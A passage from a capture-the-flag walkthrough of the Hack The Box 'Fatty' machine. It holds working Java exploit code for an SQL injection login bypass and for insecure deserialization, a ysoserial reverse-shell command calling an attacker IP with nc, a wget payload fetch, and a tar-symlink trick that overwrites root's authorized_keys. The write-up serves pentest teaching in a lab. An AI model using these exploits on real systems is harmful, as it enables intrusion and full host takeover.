As you can see, the hash is calculated by using a string that also contains the username. If we now want to exploit the SQLi as mentioned above, we need to specify a fakepassword as part of the username and need to make sure that the client transmits the same fakepassword as the password hash value. This is basically a chicken or the egg problem and requires us to solve the following equation:

x(y) = SHA-256("nope' UNION SELECT 1,'fake','fake@fake.fake','x(y)','admin'" + y + "clarabibimakeseverythingsecure" )

I’m not an expert in cryptography, but solving this equation should not be possible in a reasonable amount of time. Therefore, the above mentioned SQLi cannot be exploited from the graphical user interface. Luckily, we have already our own client and have full control over what is transmitted to the server. In our own code, we should be able to correct the hashing issue and to exploit the SQLi.

The first thing we need to do is to determine when the hashing of the password occurs. By inspecting the htb.fatty.shared.resources.User class, we can identify that the password is directly hashed in the constructor function of the User object. Fortunately for us, there are multiple constructor functions for the User object and one of them allows to specify a boolean with name hashed. If set to false, the password will be stored as plain text inside the User object.

public User(int uid, String username, String password, String email, Role role, boolean hash){
    this(uid, username, password, email, role);
    if( !hash ) {
        this.password = password;
    }
}

For our exploit, all we need to do now is to use hashed=false during our user generation and to specify the above mentioned payload as the username. As a proof of concept, we can then try to access the invo.uname() function again and see if we are now allowed to call it. The corresponding code for the SQLi exploitation could look like this:

import java.io.IOException;

import htb.fatty.client.connection.Connection;
import htb.fatty.client.methods.Invoker;
import htb.fatty.shared.message.MessageBuildException;
import htb.fatty.shared.message.MessageParseException;
import htb.fatty.shared.resources.User;

public class SQLi {


    public static void main( String[] args ) {

        Connection conn = null;
        try {
            conn = Connection.getConnection();
        } catch( Exception e ) {
            System.out.println("[-] Connection attempt failed: " + e.getMessage());
            System.exit(1);
        }

        User user = new User("' UNION SELECT 1,'fake','fake@fake.fake','fakepassword','admin", "fakepassword", false);
        if( conn.login(user) ) {
            System.out.println("[+] Login succesful!");
        } else {
            System.out.println("[-] Login failed!");
            System.exit(1);
        }

        String roleName = conn.getRoleName();
        user.setRoleByName(roleName);
        System.out.println("[+] Current role: " + roleName);

        Invoker invo = new Invoker(conn, user);
        String serverResponse = "";
        try {
            serverResponse = invo.uname();
        } catch (MessageParseException e) {
            System.out.println("[-] Failure during message parsing.");
            System.exit(1);
        } catch (MessageBuildException e) {
            System.out.println("[-] Failure during message building.");
            System.exit(1);
        } catch (IOException e) {
            System.out.println("[-] Failure during message sending.");
            System.exit(1);
        }
        System.out.println("[+] Server response is: " + serverResponse);
    }
}

After execution, we obtain the following result:

[+] Login succesful!
[+] Current role: admin
[+] Server response is: Linux 6dfe00973277 4.9.0-11-amd64 #1 SMP Debian 4.9.189-3 (2019-09-02) x86_64 Linux

This output shows that we have now administrative access and should be able to use all functionality that is exposed by the client.

3.10 – The final Punch


After unlocking all functionality of the client, we take a look ath the juicy functionalities inside the ServerStatus drop down:

  • uname()
  • users()
  • netstat()
  • iptables()

However, all these function take zero arguments and we have therefore no possibility to inject something malicious into them. We can also take a look at the source code of the application server and find that all these methods just invoke some static commands. E.g. the invo.uname() function does something like this:

Process p = Runtime.getRuntime().exec("uname -a");

So it seems that these methods do not provide any attack vectors. But are there other methods that only an administrator is able to call? If you remember our initial enumeration on the graphical user interface, there was a changePassword function that was disabled for the user qtc. While a method like changePassword does not sound like something that could lead to remote code execution, in the case of Fatty, the implementation is pretty dangerous. Already the source code of fatty-client.jar is sufficient to see that:

public String changePW(String username, String newPassword) throws MessageParseException, MessageBuildException, IOException {

    String methodName = new Object() {}.getClass().getEnclosingMethod().getName(); 
    logger.logInfo("[+] Method '" + methodName + "' was called by user '" + user.getUsername() + "'.");
    if( AccessCheck.checkAccess(methodName, user) ) {
        return "Error: Method '" + methodName + "' is not allowed for this user account";
    }

    User user = new User(username, newPassword);
    ByteArrayOutputStream bOut = new ByteArrayOutputStream();
    ObjectOutputStream oOut;
    try {
        oOut = new ObjectOutputStream(bOut);
        oOut.writeObject(user);
    } catch (IOException e) {
        e.printStackTrace();
        return "Failure while serializing user object";
    }
    byte[] serializedUser64 = Base64.getEncoder().encode(bOut.toByteArray());
    action = new ActionMessage(this.sessionID, "changePW");
    action.addArgument(new String(serializedUser64));
    this.sendAndRecv();
    if(this.response.hasError()) {
        return "Error: Your action caused an error on the application server!";
    }
    return this.response.getContentAsString();
}

The changePW method starts like expected, it takes a username, a new password and performs the already bypassed access control checks. But then something crazy happens. Instead of sending the username and password parameters as Strings to the server, the method constructs a new User object and serializes it. The serialized User object is when transformed to base64 and sent to the application server.

Depending on the implementation on the server side, the changePW function could be vulnerable to Java deserialization attacks and indeed, we find that the application server is just deserializing the transmitted object without any security checks:

String b64User = args.get(0);
byte[] serializedUser = Base64.getDecoder().decode(b64User.getBytes());
ByteArrayInputStream bIn = new ByteArrayInputStream(serializedUser);
ObjectInputStream oIn;
try {
    oIn = new ObjectInputStream(bIn);
    User newUser = (User)oIn.readObject();
} catch (Exception e) {
    e.printStackTrace();
    response += "Error: Failure while recovering the User object.";
    return response;
}

This should allow us to exploit the changePW function in order to get remote code execution. The first thing we need to do is to patch the changePW function in our local version of the Invoker class. To keep the patch simple and flexible, we just expect the base64 encoded payload as input, and transmit it directly to the server:

public String changePWExploit(String payload) throws MessageParseException, MessageBuildException, IOException {

    action = new ActionMessage(this.sessionID, "changePW");
    action.addArgument(new String(payload));
    this.sendAndRecv();
    if(this.response.hasError()) {
        return "Server response contained an error. Your shell is probably on the way :D";
    }
    return this.response.getContentAsString();
}

Again we need to use the SQLi payload inside our client, since calling the changePW method requires administrative privileges. Furthermore, we have to change the Invoker function to invo.changePWExploit("<payload>"). In the following listing, I just wrote down the full source code of the final exploit:

import java.io.IOException;

import htb.fatty.client.connection.Connection;
import htb.fatty.client.methods.Invoker;
import htb.fatty.shared.message.MessageBuildException;
import htb.fatty.shared.message.MessageParseException;
import htb.fatty.shared.resources.User;

public class Serialize {


    public static void main( String[] args ) {

        Connection conn = null;
        try {
            conn = Connection.getConnection();
        } catch( Exception e ) {
            System.out.println("[-] Connection attempt failed: " + e.getMessage());
            System.exit(1);
        }

        User user = new User("' UNION SELECT 1,'fake','fake@fake.fake','fakepassword','admin", "fakepassword", false);
        if( conn.login(user) ) {
            System.out.println("[+] Login succesful!");
        } else {
            System.out.println("[-] Login failed!");
            System.exit(1);
        }

        String roleName = conn.getRoleName();
        user.setRoleByName(roleName);
        System.out.println("[+] Current role: " + roleName);

        String payload = "ysoserial generated payload";

        Invoker invo = new Invoker(conn, user);
        String serverResponse = "";
        try {
            serverResponse = invo.changePWExploit(payload);
        } catch (MessageParseException e) {
            System.out.println("[-] Failure during message parsing.");
            System.exit(1);
        } catch (MessageBuildException e) {
            System.out.println("[-] Failure during message building.");
            System.exit(1);
        } catch (IOException e) {
            System.out.println("[-] Failure during message sending.");
            System.exit(1);
        }
        System.out.println("[+] Server response is: " + serverResponse);
    }
}

The last thing we are missing is the actual payload, which can of course easily be generated by using ysoserial. Since the whole Fatty project is using Spring, you may be tempted to use the Spring gadget-chains of ysoserial, but the version of Spring that is used for Fatty is no longer vulnerable to them. However, by unzipping fatty-server.jar, you can identify that it contains packages that start with org.apache.commons.collections and this means that one of ysoserials CommonsCollections gadget chains probably works.

In this example, we will use the gadget chain CommonsCollections5 and generate our payload like this:

pentester@kali:/opt/ysoserial/target$ ./ysoserial CommonsCollections5 'nc 10.10.14.17 4444 -e /bin/sh' | base64 -w0
rO0ABXNyAC5qYXZheC5tYW5hZ2VtZW50LkJhZEF0dHJpYnV0ZVZhbHVlRXhwRXhjZXB0aW9u1Ofaq2MtRkACAAFMAAN2YWx0ABJMamF2YS9sYW5nL09iamVjdDt4cgATamF2YS5sYW5nLkV4Y2VwdGlvbtD9[...]

While the usage of ysoserial should be straight forward, there are some pitfalls when choosing the correct payload:

  1. fatty-server.jar is running as user qtc, who has no root privileges on the server. On alpine docker containers (or at least at the one that is being used), ping is only allowed for the root user and qtc can therefore not use ping. This could lead to false negatives when testing your serialized payload.
  2. The alpine docker container does not contain a bash executable. Therefore, it is important to choose /bin/sh for the reverse shell payload.
  3. The nc version on the alpine container requires -e <PROG> to be the last argument. Otherwise, the nc command will fail.

But when the payload is generated as above, everything should work fine and you should finally obtain a reverse shell on the fatty application server:

pentester@kali:~$ nc -vlp 4444
Ncat: Version 7.80 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 10.10.10.174.
Ncat: Connection from 10.10.10.174:44875.
id
uid=1000(qtc) gid=1000(qtc) groups=1000(qtc)

Like already mentioned, the application server is hosted inside of a docker container, but already here we can find a home directory for qtc containing the user flag:

ls -l /home/qtc
total 4
----------    1 qtc      qtc             33 Sep 24 04:15 user.txt

Notice, that the user.txt file has its permissions set to 000. This is because I was paranoid that someone could break the filters on the path traversal vulnerabilities and might be able to access arbitrary files. By setting permissions to 000, the file is not directly accessible, but once you got RCE you can use chmod to adjust the permissions and read the flag:

chmod 400 /home/qtc/user.txt
cat /home/qtc/user.txt
7fab[...]

4.0 – Escalating to root

By abusing the vulnerabilities contained inside the fat client we have managed to obtain a reverse shell and have now access to the docker container as the user qtc. Our next step is to get access to the underlying docker host, ideally already as the root user.

4.1 – Odd Services


Before starting to enumerate, we should try to obtain a better shell. Unfortunately, neither python2 nor python3 are installed on the container, which prevents us form using Pythons pty module. Also SSH is no solution, since the SSH server exposed by Fatty is not the same that is running on the container. It seems like we have to be satisfied with ash -i, which at least displays us an ordinary command prompt. Additionally, we can use the following redirection of stderr:2>&1. Otherwise we will not be able to see the standard error of ordinary commands.

ash -i 2>&1
164d6a53be73:/home/qtc$

After identifying the path traversal vulnerability inside the fatty-client.jar, we already discovered that the docker container starts crond and sshd manually. It seems like these services are required for some reason and we investigate why this is the case. So as a first step, let’s try to check our crontab to see if there are some jobs configured:

164d6a53be73:/home/qtc$ crontab -l
crontab: must be suid to work properly
164d6a53be73:/home/qtc$ ls -l /etc/crontabs
total 8
-rw-------    1 root     root            64 Oct  4 08:34 qtc
-rw-------    1 root     root           283 Jan 23  2019 root

The first error message shows that crontab is not installed as suid. This is because crontab is implemented using BusyBox on the container, and BusyBox has no suid bit set. As you can see from the second output, the crontabs are only accessible by root and therefore we have no option for displaying them. Luckily for us, qtc has created an /etc/crontab.back folder as a backup. This folder is owned by qtc and we can read the contained crontabs:

164d6a53be73:/etc/crontabs.back$ cat *
0 * * * * /bin/tar -cf /opt/fatty/tar/logs.tar /opt/fatty/logs/

# do daily/weekly/monthly maintenance
# min    hour    day month   weekday command
*/15    *   *   *   *   run-parts /etc/periodic/15min
0    *   *   *   *   run-parts /etc/periodic/hourly
0    2   *   *   *   run-parts /etc/periodic/daily
0    3   *   *   6   run-parts /etc/periodic/weekly
0    5   1   *   *   run-parts /etc/periodic/monthly

While the root user has no custom cron jobs defined, we can see that the user qtc creates a new .tar file inside of /opt/fatty/tar every full hour. The contents of the .tar file are the log files generated by the fatty-server application.

Since the cronjob runs as qtc and the log files of the application server are already readable from our current position, it seems that we cannot profit from this cronjob directly. But there is the possibility that the cron backup folder contains outdated crontabs and we should definitely give pspy a try to see what else is running regularly on the container. We can use wget, which is installed on the container, to upload pspy and after execution we get the following result:

164d6a53be73:/tmp$ wget 10.10.14.17:8000/pspy64
Connecting to 10.10.14.17:8000 10.10.14.17:8000)
pspy64               100% |********************************| 4364k  0:00:00 ETA

164d6a53be73:/tmp$ chmod +x pspy64
164d6a53be73:/tmp$ ./pspy64
Config: Printing events (colored=true): processes=true | file-system-events=false ||| Scannning for processes every 100ms and on inotify events ||| Watching directories: [/usr /tmp /etc /home /var /opt] (recursive) | [] (non-recursive)
Draining file system events due to startup...
done
2019/10/04 09:11:46 CMD: UID=0    PID=7      | crond -b 
2019/10/04 09:11:46 CMD: UID=1000 PID=238    | ./pspy64 
2019/10/04 09:11:46 CMD: UID=1000 PID=183    | ash -i 
2019/10/04 09:11:46 CMD: UID=1000 PID=152    | /bin/sh 
2019/10/04 09:11:46 CMD: UID=0    PID=11     | /usr/sbin/sshd 
2019/10/04 09:11:46 CMD: UID=1000 PID=10     | java -jar /opt/fatty/fatty-server.jar 
2019/10/04 09:11:46 CMD: UID=0    PID=1      | /bin/sh ./start.sh 
2019/10/04 09:12:02 CMD: UID=0    PID=245    | sshd: [accepted]
2019/10/04 09:12:02 CMD: UID=22   PID=246    | sshd: [net]       
2019/10/04 09:12:02 CMD: UID=1000 PID=247    | sshd: qtc         
2019/10/04 09:12:02 CMD: UID=1000 PID=248    | ash -c scp -f /opt/fatty/tar/logs.tar 

It seems like a remote user is connecting to the ssh server and uses scp to copy the logs.tar file that is generated by our cronjob. If you run pspy over a longer period of time, you will notice that this event occurs each minute. So it seems like some other host has a cronjob configured that pulls the logs of the application server periodically.

4.2 – Some Strange Behavior of tar


It may feels like we are still missing some information, but there is not much more to enumerate and as it turns out, the observations from above are sufficient for breaking out of the container.

A long time ago there was an interesting tar exploit and the cause of it is actually pretty simple: .tar archives can contain files with the same filename multiple times. You can easily verify this by creating a .tar archive and adding the same file multiple times:

pentester@kali:/etc$ tar -cvf /tmp/test.tar passwd
passwd
pentester@kali:/etc$ tar -rvf /tmp/test.tar passwd
passwd
pentester@kali:/etc$ tar -rvf /tmp/test.tar passwd
passwd
pentester@kali:/etc$ tar -tvf /tmp/test.tar 
-rw-r--r-- root/root      3550 2019-08-29 15:00 passwd
-rw-r--r-- root/root      3550 2019-08-29 15:00 passwd
-rw-r--r-- root/root      3550 2019-08-29 15:00 passwd

While this behavior is odd, it is no problem when all the items with identical filenames are just regular files. In this case, when extracting the archive, the files will just overwrite each other and the result is the last added file. But what happens if not all files are just regular files?

Well, this is what the exploit abuses. A .tar archive can also contain symlinks that point to arbitrary resources on the system where they are extracted. By first packing a symlink to a sensitive file like authorized_keys and then a public key file with exactly the same filename into a .tar archive, we could easily obtain code execution on the targeted system. The following listing shows an example of this situation:

pentester@kali:/tmp$ ln -s /root/.ssh/authorized_keys exploit.pub
pentester@kali:/tmp$ tar -cvf exploit.tar exploit.pub
exploit.pub
pentester@kali:/tmp$ rm exploit.pub && mv key.pub exploit.pub
pentester@kali:/tmp$ tar -rvf exploit.tar exploit.pub
exploit.pub
pentester@kali:/tmp$ tar -tvf exploit.tar
lrwxrwxrwx pentester/pentester 0 2019-10-04 11:30 exploit.pub -> /root/.ssh/authorized_keys
-rw-r--r-- pentester/pentester 568 2019-10-04 11:31 exploit.pub

If this archive is extracted by a vulnerable tar version, the symlink is extracted first and then overwritten by the public key file. The result is that the public key file will be written to the .ssh folder of the root account. However, recent versions of tar are no longer vulnerable against this kind of attack, but with a little bit of creativity, there is something different one can do with symlinks.

As it turns out, a .tar file can also contain files that have exactly the same name as the corresponding .tar archive. When extracting an archive with the same name as one of the contained files, the extracted file will overwrite the .tar archive. Okay that is odd, but how could it be exploited?

Consider that you have a situation where someone is regularly executing the following pattern:

  1. Download a .tar file to his local disk.
  2. Extracting the .tar file inside the same directory it was downloaded.

If the .tar file contains a symlink that has the same name as the archive itself, it will replace the .tar archive with a symlink to an arbitrary destination on extraction. Once the next download occurs, the newly downloaded .tar file will overwrite the old one, but when the old .tar file was replaced by a symlink, the new downloaded file will be written to the destination the symlink is pointing to. This allows us to write arbitrary files with the permissions of the extracting user.

4.3 – Obtaining the root Shell


It should be clear that the above described situation could apply for us. On our docker container the user qtc creates a .tar archive regularly inside /opt/fatty/tar, which is pulled by some other user using scp. It is likely that the log pulling user will extract the contents of the .tar archive at some point of time and if we are lucky, he will do it in the same directory where the new incoming .tar file will be stored. In this case, we could use the above mentioned technique to write arbitrary files.

Since we already got the user flag, we assume that this attack vector will give us direct root access to the fatty application server. Therefore, we go all in and try directly to overwrite the authorized_keys file of the root user account. Our attack plan will look like this:

  1. Create a logs.tar file that contains a symlink with name logs.tar pointing to /root/.ssh/authorized_keys.
  2. After waiting one minute, overwrite logs.tar with a public key that was generated by us.
  3. After another minute, we should be able to login as the root user using ssh.

Here are the corresponding commands:

164d6a53be73:/home/qtc$ mkdir exploit
164d6a53be73:/home/qtc$ ln -s /root/.ssh/authorized_keys exploit/logs.tar
164d6a53be73:/home/qtc$ tar -cvf logs.tar -C ./exploit logs.tar
logs.tar
164d6a53be73:/home/qtc$ tar -tvf logs.tar
lrwxrwxrwx qtc/qtc         0 2019-10-04 09:59:28 logs.tar -> /root/.ssh/authorized_keys
164d6a53be73:/home/qtc$ cp logs.tar /opt/fatty/tar/logs.tar
164d6a53be73:/home/qtc$ sleep 60
164d6a53be73:/home/qtc$ ssh-keygen -f key
Generating public/private rsa key pair.
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in key.
Your public key has been saved in key.pub.
The key fingerprint is:
SHA256:ZFaBEexkmBlaZh2MqvliJO1TRxjR+ggWI77hel1+L/Q qtc@164d6a53be73
The key's randomart image is:
+---[RSA 2048]----+
|    .o=X+=o.     |
|. o .=* B.       |
|.. o.= ++        |
| oo + .+.        |
|.oo+ +  S        |
|.o= o + .        |
|.+ + + . .       |
|. * o . o E      |
| o o   . o.      |
+----[SHA256]-----+
164d6a53be73:/home/qtc$ cp key.pub /opt/fatty/tar/logs.tar
164d6a53be73:/home/qtc$ sleep 60
164d6a53be73:/home/qtc$ ssh -o StrictHostKeyChecking=no root@172.28.0.1 -i key
Linux fatty 4.9.0-11-amd64 #1 SMP Debian 4.9.189-3+deb9u1 (2019-09-20) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
mesg: ttyname failed: Inappropriate ioctl for device
id
uid=0(root) gid=0(root) groups=0(root)
cat root.txt
ee98[...]

Worked perfectly! If you are confused about the IP address 172.28.0.1, this is just the IP address of the docker bridge our container is plugged in. The docker bridge is just a bridge device that is located in the network namespace of the docker host and the IP address of the bridge gives you access to the docker host itself. To identify the IP address of the bridge device, you can just use a command ip a on the container:

164d6a53be73:/home/qtc$ ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN qlen 1
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
10: eth0@if11: <BROADCAST,MULTICAST,UP,LOWER_UP,M-DOWN> mtu 1500 qdisc noqueue state UP 
    link/ether 02:42:ac:1c:00:04 brd ff:ff:ff:ff:ff:ff
    inet 172.28.0.4/16 brd 172.28.255.255 scope global eth0
       valid_lft forever preferred_lft forever

In the most (all?) cases, the docker bridge will have the same IP address as the container, except that it ends with a one.

Furthermore, we had to use the ssh option StrictHostKeyChecking=no. To be honest, I’m not sure why this is the case, but otherwise ssh was throwing an error. Probably ssh tries to write the hostkey to the known_hosts file of the root user and is missing permissions for that, but I had not investigated this issue any further.

5.0 – Conclusions

The Fatty machine demonstrates the devastating consequences of vulnerabilities inside of fat client software. From my personal experience it is alarming how often fat client software can be exploited to execute arbitrary commands on the corresponding application server. With Fatty, I want to increase the awareness on fat client vulnerabilities and enable other pentesters to find them more easily.